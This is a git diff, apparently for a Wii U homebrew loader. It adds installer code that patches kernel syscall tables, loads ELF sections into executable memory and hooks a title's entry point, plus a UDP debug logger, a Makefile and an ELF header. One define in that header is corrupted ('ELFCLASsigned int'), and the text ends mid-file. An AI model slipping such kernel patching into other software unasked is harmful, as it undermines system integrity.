OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); + + // Prepare screen + int screen_buf0_size = 0; + int screen_buf1_size = 0; + unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; + + // Init screen and screen buffers + OSScreenInit(); + screen_buf0_size = OSScreenGetBufferSizeEx(0); + screen_buf1_size = OSScreenGetBufferSizeEx(1); + OSScreenSetBufferEx(0, (void *)0xF4000000); + OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); + + // Clear screens + OSScreenClearBufferEx(0, screen_color); + OSScreenClearBufferEx(1, screen_color); + + // Flush the cache + private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); + private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); + + // Flip buffers + OSScreenFlipBuffersEx(0); + OSScreenFlipBuffersEx(1); + + OSScreenPutFontEx(1, 0, 0, failure); + + OSScreenFlipBuffersEx(1); + OSScreenClearBufferEx(1, 0); + + unsigned int t1 = 0x3FFFFFFF; + while(t1--) asm volatile("nop"); + + private_data->_Exit(); +} + +/* ***************************************************************************** + * Base functions + * ****************************************************************************/ +static void SetupKernelSyscall(unsigned int address) +{ + // Add syscall #0x36 + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address); + + // make kern_read/kern_write available in all places + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); + + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); +} + + +static void thread_callback(int argc, void *argv) +{ + /* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */ + unsigned int sysapp_handle; + void (*_SYSLaunchMiiStudio)(void) = 0; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio); + + _SYSLaunchMiiStudio(); +} + +static int strcmp(const char *s1, const char *s2) +{ + while(*s1 && *s2) + { + if(*s1 != *s2) { + return -1; + } + s1++; + s2++; + } + + if(*s1 != *s2) { + return -1; + } + return 0; +} + +static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) +{ + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; + + if ( !data + || !IS_ELF (*ehdr) + || (ehdr->e_type != ET_EXEC) + || (ehdr->e_machine != EM_PPC)) + { + ExitFailure(private_data, "Invalid elf file"); + } + + Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); + int i; + for(i = 0; i < ehdr->e_shnum; i++) + { + const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; + if(strcmp(section_name, name) == 0) + { + if(addr) + *addr = shdr[i].sh_addr; + if(size) + *size = shdr[i].sh_size; + return shdr[i].sh_offset; + } + } + + if(fail_on_not_found) + ExitFailure(private_data, (char*)name); + + return 0; +} + +/* ****************************************************************** */ +/* INSTALL MAIN CODE */ +/* ****************************************************************** */ +static void InstallMain(private_data_t *private_data) +{ + // get .text section + unsigned int main_text_addr = 0; + unsigned int main_text_len = 0; + unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); + unsigned char *main_text = private_data->data_elf + section_offset; + /* Copy main .text to memory */ + if(section_offset > 0) + { + private_data->memcpy((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); + private_data->DCFlushRange((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text_len); + private_data->ICInvalidateRange((void*)(main_text_addr), main_text_len); + } + + // get the .rodata section + unsigned int main_rodata_addr = 0; + unsigned int main_rodata_len = 0; + section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); + if(section_offset > 0) + { + unsigned char *main_rodata = private_data->data_elf + section_offset; + /* Copy main rodata to memory */ + private_data->memcpy((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); + private_data->DCFlushRange((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata_len); + } + + // get the .data section + unsigned int main_data_addr = 0; + unsigned int main_data_len = 0; + section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); + if(section_offset > 0) + { + unsigned char *main_data = private_data->data_elf + section_offset; + /* Copy main data to memory */ + private_data->memcpy((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); + private_data->DCFlushRange((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data_len); + } + + // get the .bss section + unsigned int main_bss_addr = 0; + unsigned int main_bss_len = 0; + section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); + if(section_offset > 0) + { + /* Copy main data to memory */ + private_data->memset((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), 0, main_bss_len); + private_data->DCFlushRange((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss_len); + } +} + +/* ****************************************************************** */ +/* INSTALL PATCHES */ +/* All OS specific stuff is done here */ +/* ****************************************************************** */ +static void InstallPatches(private_data_t *private_data) +{ + OsSpecifics * osSpecificFunctions = OS_SPECIFICS; + private_data->memset(osSpecificFunctions, 0, sizeof(OsSpecifics)); + + /* Pre-setup a few options to defined values */ + OS_FIRMWARE = VER; + MAIN_ENTRY_ADDR = 0xDEADC0DE; + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; + + unsigned int jump_main_hook = 0; + osSpecificFunctions->addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; + osSpecificFunctions->addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; + + osSpecificFunctions->addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; + osSpecificFunctions->addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; + osSpecificFunctions->addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; + osSpecificFunctions->addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; + osSpecificFunctions->addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; + //! pointer to main entry point of a title + osSpecificFunctions->addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; + + //! at this point we dont need to check header and stuff as it is sure to be OK + Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; + unsigned int mainEntryPoint = ehdr->e_entry; + + //! Install our entry point hook + unsigned int repl_addr = ADDRESS_main_entry_hook; + unsigned int jump_addr = mainEntryPoint & 0x03fffffc; + *((volatile unsigned int *)(LIB_CODE_RW_BASE_OFFSET + repl_addr)) = 0x48000003 | jump_addr; + // flush caches and invalidate instruction cache + private_data->DCFlushRange((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), 4); + private_data->ICInvalidateRange((void*)(repl_addr), 4); +} diff --git a/installer/logger.c b/installer/logger.c new file mode 100644 index 0000000..7873ffd --- /dev/null +++ b/installer/logger.c @@ -0,0 +1,74 @@ +#include +#include +#include +#include +#include +#include "common/common.h" +#include "dynamic_libs/socket_functions.h" +#include "logger.h" + +static int log_socket = 0; + + +void log_init(void) +{ + if(log_socket > 0) + return; + + log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (log_socket < 0) + return; + + struct sockaddr_in connect_addr; + memset(&connect_addr, 0, sizeof(connect_addr)); + connect_addr.sin_family = AF_INET; + connect_addr.sin_port = 4405; + inet_aton("192.168.0.44", &connect_addr.sin_addr); + + if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) + { + socketclose(log_socket); + log_socket = -1; + } +} + +void log_print(const char *str) +{ + // socket is always 0 initially as it is in the BSS + if(log_socket <= 0) { + log_init(); + return; + } + + int len = strlen(str); + int ret; + while (len > 0) { + ret = send(log_socket, str, len, 0); + if(ret < 0) + return; + + len -= ret; + str += ret; + } +} + +void log_printf(const char *format, ...) +{ + if(log_socket <= 0) { + log_init(); + return; + } + + char * tmp = NULL; + + va_list va; + va_start(va, format); + if((vasprintf(&tmp, format, va) >= 0) && tmp) + { + log_print(tmp); + } + va_end(va); + + if(tmp) + free(tmp); +} diff --git a/installer/logger.h b/installer/logger.h new file mode 100644 index 0000000..5f602fb --- /dev/null +++ b/installer/logger.h @@ -0,0 +1,86 @@ +#ifndef __LOGGER_H_ +#define __LOGGER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +/* Communication bytes with the server */ +// Com +#define BYTE_NORMAL 0xff +#define BYTE_SPECIAL 0xfe +#define BYTE_OK 0xfd +#define BYTE_PING 0xfc +#define BYTE_LOG_STR 0xfb +#define BYTE_DISCONNECT 0xfa + +// SD +#define BYTE_MOUNT_SD 0xe0 +#define BYTE_MOUNT_SD_OK 0xe1 +#define BYTE_MOUNT_SD_BAD 0xe2 + +// Replacement +#define BYTE_STAT 0x00 +#define BYTE_STAT_ASYNC 0x01 +#define BYTE_OPEN_FILE 0x02 +#define BYTE_OPEN_FILE_ASYNC 0x03 +#define BYTE_OPEN_DIR 0x04 +#define BYTE_OPEN_DIR_ASYNC 0x05 +#define BYTE_CHANGE_DIR 0x06 +#define BYTE_CHANGE_DIR_ASYNC 0x07 +#define BYTE_MAKE_DIR 0x08 +#define BYTE_MAKE_DIR_ASYNC 0x09 +#define BYTE_RENAME 0x0A +#define BYTE_RENAME_ASYNC 0x0B +#define BYTE_REMOVE 0x0C +#define BYTE_REMOVE_ASYNC 0x0D + +// Log +#define BYTE_CLOSE_FILE 0x40 +#define BYTE_CLOSE_FILE_ASYNC 0x41 +#define BYTE_CLOSE_DIR 0x42 +#define BYTE_CLOSE_DIR_ASYNC 0x43 +#define BYTE_FLUSH_FILE 0x44 +#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 +#define BYTE_GET_LAST_ERROR 0x46 +#define BYTE_GET_MOUNT_SOURCE 0x47 +#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 +#define BYTE_GET_POS_FILE 0x49 +#define BYTE_SET_POS_FILE 0x4A +#define BYTE_GET_STAT_FILE 0x4B +#define BYTE_EOF 0x4C +#define BYTE_READ_FILE 0x4D +#define BYTE_READ_FILE_ASYNC 0x4E +#define BYTE_READ_FILE_WITH_POS 0x4F +#define BYTE_READ_DIR 0x50 +#define BYTE_READ_DIR_ASYNC 0x51 +#define BYTE_GET_CWD 0x52 +#define BYTE_SET_STATE_CHG_NOTIF 0x53 +#define BYTE_TRUNCATE_FILE 0x54 +#define BYTE_WRITE_FILE 0x55 +#define BYTE_WRITE_FILE_WITH_POS 0x56 + +#define BYTE_SAVE_INIT 0x57 +#define BYTE_SAVE_SHUTDOWN 0x58 +#define BYTE_SAVE_INIT_SAVE_DIR 0x59 +#define BYTE_SAVE_FLUSH_QUOTA 0x5A +#define BYTE_SAVE_OPEN_DIR 0x5B +#define BYTE_SAVE_REMOVE 0x5C + +#define BYTE_CREATE_THREAD 0x60 + + +int logger_connect(int *socket); +void logger_disconnect(int socket); +void log_string(int sock, const char* str, char byte); +void log_byte(int sock, char byte); + +void log_init(void); +void log_print(const char *str); +void log_printf(const char *format, ...); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/installer/structs.h b/installer/structs.h new file mode 100644 index 0000000..624411c --- /dev/null +++ b/installer/structs.h @@ -0,0 +1,32 @@ +#ifndef STRUCTS_H +#define STRUCTS_H + +typedef struct { + unsigned char *data; + int len; + int alloc_size; + void* (*memcpy)(void * dest, const void * src, int num); +} file_struct_t; + +typedef struct { + unsigned char *data_elf; + unsigned int coreinit_handle; + /* function pointers */ + void* (*memcpy)(void * dest, const void * src, int num); + void* (*memset)(void * dest, unsigned int value, unsigned int bytes); + void* (*OSEffectiveToPhysical)(const void*); + void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); + void (*MEMFreeToDefaultHeap)(void *ptr); + void (*DCFlushRange)(const void *addr, unsigned int length); + void (*ICInvalidateRange)(const void *addr, unsigned int length); + void (*_Exit)(void); + + void* (*curl_easy_init)(void); + void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); + int (*curl_easy_perform)(void *handle); + void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); + void (*curl_easy_cleanup)(void *handle); +} private_data_t; + + +#endif // STRUCTS_H diff --git a/installer/types.h b/installer/types.h new file mode 100644 index 0000000..e9194b3 --- /dev/null +++ b/installer/types.h @@ -0,0 +1,22 @@ +#ifndef TYPES_H +#define TYPES_H + +typedef unsigned long long uint64_t; +typedef long long int64_t; +typedef unsigned int uint32_t; +typedef int int32_t; +typedef unsigned short uint16_t; +typedef short int16_t; +typedef unsigned char uint8_t; +typedef char int8_t; + +typedef uint32_t size_t; + +typedef _Bool bool; +#define true 1 +#define false 0 +#define null 0 + +#define NULL (void*)0 + +#endif /* TYPES_H */ diff --git a/sd_loader/Makefile b/sd_loader/Makefile new file mode 100644 index 0000000..a59f8a6 --- /dev/null +++ b/sd_loader/Makefile @@ -0,0 +1,178 @@ +#--------------------------------------------------------------------------------- +# Clear the implicit built in rules +#--------------------------------------------------------------------------------- +.SUFFIXES: +#--------------------------------------------------------------------------------- +ifeq ($(strip $(DEVKITPPC)),) +$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") +endif +export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) +export LIBOGC_INC := $(DEVKITPRO)/libogc/include +export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii +export PORTLIBS := $(DEVKITPRO)/portlibs/ppc + +PREFIX := powerpc-eabi- + +export AS := $(PREFIX)as +export CC := $(PREFIX)gcc +export CXX := $(PREFIX)g++ +export AR := $(PREFIX)ar +export OBJCOPY := $(PREFIX)objcopy + +#--------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# INCLUDES is a list of directories containing extra header files +#--------------------------------------------------------------------------------- +TARGET := sd_loader +BUILD := build +BUILD_DBG := $(TARGET)_dbg +SOURCES := src +DATA := +INCLUDES := + +#--------------------------------------------------------------------------------- +# options for code generation +#--------------------------------------------------------------------------------- +CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ + -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ + -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) +ASFLAGS := -mregnames +LDFLAGS := -nostartfiles -Wl,--gc-sections + +Q := @ +MAKEFLAGS += --no-print-directory +#--------------------------------------------------------------------------------- +# any extra libraries we wish to link with the project +#--------------------------------------------------------------------------------- +LIBS := + +#--------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level containing +# include and lib +#--------------------------------------------------------------------------------- +LIBDIRS := $(CURDIR) \ + $(DEVKITPPC)/lib \ + $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 + + +#--------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#--------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#--------------------------------------------------------------------------------- +export PROJECTDIR := $(CURDIR) +export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) +export DEPSDIR := $(CURDIR)/$(BUILD) + +#--------------------------------------------------------------------------------- +# automatically build a list of object files for our project +#--------------------------------------------------------------------------------- +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) +TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) +PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) + +#--------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#--------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) + export LD := $(CC) +else + export LD := $(CXX) +endif + +export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ + $(sFILES:.s=.o) $(SFILES:.S=.o) \ + $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) + +#--------------------------------------------------------------------------------- +# build a list of include paths +#--------------------------------------------------------------------------------- +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ + -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 + +#--------------------------------------------------------------------------------- +# build a list of library paths +#--------------------------------------------------------------------------------- +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ + -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib + +export OUTPUT := $(CURDIR)/$(TARGET) +.PHONY: $(BUILD) clean install + +#--------------------------------------------------------------------------------- +$(BUILD): + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +#--------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + +#--------------------------------------------------------------------------------- +else + +DEPENDS := $(OFILES:.o=.d) + +#--------------------------------------------------------------------------------- +# main targets +#--------------------------------------------------------------------------------- +$(OUTPUT).elf: $(OFILES) + +#--------------------------------------------------------------------------------- +# This rule links in binary data with the .jpg extension +#--------------------------------------------------------------------------------- +%.elf: link.ld $(OFILES) + @echo "linking ... $(TARGET).elf" + $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) + $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + +#--------------------------------------------------------------------------------- +%.a: +#--------------------------------------------------------------------------------- + @echo $(notdir $@) + @rm -f $@ + @$(AR) -rc $@ $^ + +#--------------------------------------------------------------------------------- +%.o: %.cpp + @echo $(notdir $<) + @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.c + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.o: %.S + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +#--------------------------------------------------------------------------------- +%.png.o : %.png + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +#--------------------------------------------------------------------------------- +%.ttf.o : %.ttf + @echo $(notdir $<) + @bin2s -a 32 $< | $(AS) -o $(@) + +-include $(DEPENDS) + +#--------------------------------------------------------------------------------- +endif +#--------------------------------------------------------------------------------- diff --git a/sd_loader/src/elf_abi.h b/sd_loader/src/elf_abi.h new file mode 100644 index 0000000..4d9c796 --- /dev/null +++ b/sd_loader/src/elf_abi.h @@ -0,0 +1,591 @@ +/* + * Copyright (c) 1995, 1996, 2001, 2002 + * Erik Theisen. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This is the ELF ABI header file + * formerly known as "elf_abi.h". + */ + +#ifndef _ELF_ABI_H +#define _ELF_ABI_H + +/* + * This version doesn't work for 64-bit ABIs - Erik. + */ + +/* + * These typedefs need to be handled better. + */ +typedef unsigned int Elf32_Addr; /* Unsigned program address */ +typedef unsigned int Elf32_Off; /* Unsigned file offset */ +typedef signed int Elf32_Sword; /* Signed large integer */ +typedef unsigned int Elf32_Word; /* Unsigned large integer */ +typedef unsigned short Elf32_Half; /* Unsigned medium integer */ + +/* e_ident[] identification indexes */ +#define EI_MAG0 0 /* file ID */ +#define EI_MAG1 1 /* file ID */ +#define EI_MAG2 2 /* file ID */ +#define EI_MAG3 3 /* file ID */ +#define EI_CLASS 4 /* file class */ +#define EI_DATA 5 /* data encoding */ +#define EI_VERSION 6 /* ELF header version */ +#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ +#define EI_ABIVERSION 8 /* ABI target version */ +#define EI_PAD 9 /* start of pad bytes */ +#define EI_NIDENT 16 /* Size of e_ident[] */ + +/* e_ident[] magic number */ +#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ +#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ +#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ +#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ +#define ELFMAG "\177ELF" /* magic */ +#define SELFMAG 4 /* size of magic */ + +/* e_ident[] file class */ +#define ELFCLASSNONE 0 /* invalid */ +#define ELFCLASsigned int 1 /* 32-bit objs */ +#define ELFCLASS64 2 /* 64-bit objs */ +#define ELFCLASSNUM 3 /* number of classes */ + +/* e_ident[] data encoding */ +#define ELFDATANONE 0 /* invalid */ +#define ELFDATA2LSB 1 /* Little-Endian */ +#define ELFDATA2MSB 2 /* Big-Endian */ +#define ELFDATANUM 3 /* number of data encode defines */ + +/* e_ident[] OS/ABI specific ELF extensions */ +#define ELFOSABI_NONE 0 /* No extension specified */ +#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ +#define ELFOSABI_NETBSD 2 /* NetBSD */ +#define ELFOSABI_LINUX 3 /* Linux */ +#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ +#define ELFOSABI_AIX 7 /* AIX */ +#define ELFOSABI_IRIX 8 /* IRIX */ +#define ELFOSABI_FREEBSD 9 /* FreeBSD */ +#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ +#define ELFOSABI_MODESTO 11 /* Novell Modesto */ +#define ELFOSABI_OPENBSD 12 /* OpenBSD */ +/* 64-255 Architecture-specific value range */ + +/* e_ident[] ABI Version */ +#define ELFABIVERSION 0 + +/* e_ident */ +#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ + (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ + (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ + (ehdr).e_ident[EI_MAG3] == ELFMAG3) + +/* ELF Header */ +typedef struct elfhdr{ + unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ + Elf32_Half e_type; /* object file type */ + Elf32_Half e_machine; /* machine */ + Elf32_Word e_version; /* object file version */ + Elf32_Addr e_entry; /* virtual entry point */ + Elf32_Off e_phoff; /* program header table offset */ + Elf32_Off e_shoff; /* section header table offset */ + Elf32_Word e_flags; /* processor-specific flags */ + Elf32_Half e_ehsize; /* ELF header size */ + Elf32_Half e_phentsize; /* program header entry size */ + Elf32_Half e_phnum; /* number of program header entries */ + Elf32_Half e_shentsize; /* section header entry size */ + Elf32_Half e_shnum; /* number of section header entries */ + Elf32_Half e_shstrndx; /* section header table's "section + header string table" entry offset */ +} Elf32_Ehdr; + +/* e_type */ +#define ET_NONE 0 /* No file type */ +#define ET_REL 1 /* relocatable file */ +#define ET_EXEC 2 /* executable file */ +#define ET_DYN 3 /* shared object file */ +#define ET_CORE 4 /* core file */ +#define ET_NUM 5 /* number of types */ +#define ET_LOOS 0xfe00 /* reserved range for operating */ +#define ET_HIOS 0xfeff /* system specific e_type */ +#define ET_LOPROC 0xff00 /* reserved range for processor */ +#define ET_HIPROC 0xffff /* specific e_type */ + +/* e_machine */ +#define EM_NONE 0 /* No Machine */ +#define EM_M32 1 /* AT&T WE 32100 */ +#define EM_SPARC 2 /* SPARC */ +#define EM_386 3 /* Intel 80386 */ +#define EM_68K 4 /* Motorola 68000 */ +#define EM_88K 5 /* Motorola 88000 */ +#if 0 +#define EM_486 6 /* RESERVED - was Intel 80486 */ +#endif +#define EM_860 7 /* Intel 80860 */ +#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ +#define EM_S370 9 /* IBM System/370 Processor */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ +#if 0 +#define EM_SPARC64 11 /* RESERVED - was SPARC v9 + 64-bit unoffical */ +#endif +/* RESERVED 11-14 for future use */ +#define EM_PARISC 15 /* HPPA */ +/* RESERVED 16 for future use */ +#define EM_VPP500 17 /* Fujitsu VPP500 */ +#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ +#define EM_960 19 /* Intel 80960 */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* 64-bit PowerPC */ +#define EM_S390 22 /* IBM System/390 Processor */ +/* RESERVED 23-35 for future use */ +#define EM_V800 36 /* NEC V800 */ +#define EM_FR20 37 /* Fujitsu FR20 */ +#define EM_RH32 38 /* TRW RH-32 */ +#define EM_RCE 39 /* Motorola RCE */ +#define EM_ARM 40 /* Advanced Risc Machines ARM */ +#define EM_ALPHA 41 /* Digital Alpha */ +#define EM_SH 42 /* Hitachi SH */ +#define EM_SPARCV9 43 /* SPARC Version 9 */ +#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ +#define EM_ARC 45 /* Argonaut RISC Core */ +#define EM_H8_300 46 /* Hitachi H8/300 */ +#define EM_H8_300H 47 /* Hitachi H8/300H */ +#define EM_H8S 48 /* Hitachi H8S */ +#define EM_H8_500 49 /* Hitachi H8/500 */ +#define EM_IA_64 50 /* Intel Merced */ +#define EM_MIPS_X 51 /* Stanford MIPS-X */ +#define EM_COLDFIRE 52 /* Motorola Coldfire */ +#define EM_68HC12 53 /* Motorola M68HC12 */ +#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ +#define EM_PCP 55 /* Siemens PCP */ +#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ +#define EM_NDR1 57 /* Denso NDR1 microprocessor */ +#define EM_STARCORE 58 /* Motorola Start*Core processor */ +#define EM_ME16 59 /* Toyota ME16 processor */ +#define EM_ST100 60 /* STMicroelectronic ST100 processor */ +#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_PDSP 63 /* Sony DSP Processor */ +/* RESERVED 64,65 for future use */ +#define EM_FX66 66 /* Siemens FX66 microcontroller */ +#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ +#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ +#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ +#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ +#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ +#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ +#define EM_SVX 73 /* Silicon Graphics SVx */ +#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ +#define EM_VAX 75 /* Digital VAX */ +#define EM_CHRIS 76 /* Axis Communications embedded proc. */ +#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ +#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ +#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ +#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ +#define EM_HUANY 81 /* Harvard University mach-indep objs */ +#define EM_PRISM 82 